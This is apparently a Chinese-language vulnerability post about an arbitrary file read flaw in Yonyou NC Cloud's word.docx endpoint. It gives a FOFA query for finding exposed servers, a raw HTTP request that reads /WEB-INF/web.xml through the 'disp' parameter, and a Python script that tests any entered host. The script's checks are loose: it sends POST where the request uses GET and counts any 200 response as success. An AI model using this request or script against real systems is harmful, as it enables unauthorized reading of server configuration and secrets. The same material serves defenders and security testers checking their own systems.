声明
本文仅用于技术交流，请勿用于非法用途
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，文章作者不为此承担任何责任。

一、产品介绍

用友 NC Cloud，大型企业数字化平台， 聚焦数字化管理、数字化经营、数字化商业，帮助大型企业实现 人、财、物、客的全面数字化，从而驱动业务创新与管理变革，与企业管理者一起重新定义未来的高度。为客户提供面向大型企业集团、制造业、消费品、建筑、房地产、金融保险等14个行业大类，68个细分行业，涵盖数字营销、智能制造、财务共享、数字采购等18大解决方案，帮助企业全面落地数字化。

二、漏洞描述

用友NC Cloud word.docx接口存在任意文件读取漏洞

三、fofa语法

body="UClient.dmg"

四、漏洞复现

poc

GET /portal/docctr/open/word.docx?disp=/WEB-INF/web.xml HTTP/1.1
Host: 
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: */*
Connection: Keep-Alive

五、poc.py

import requests


def verify(ip):
    url = f'{ip}/portal/docctr/open/word.docx?disp=/WEB-INF/web.xml'

    headers = {
        'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)',
        'Accept': ' * / *',
        'Connection': 'Keep - Alive'
    }

    try:
        response = requests.post(url, headers=headers)
        print(response)
        # 验证成功输出相关信息
        if response.status_code == 200:
            print(f"{ip}存在用友NC word.docx接口任意文件读取漏洞！！！")
        else:
            print('漏洞不存在')

    except Exception as e:
        pass

if __name__ == '__main__':
    self = input('请输入目标主机IP地址：')
    verify(self)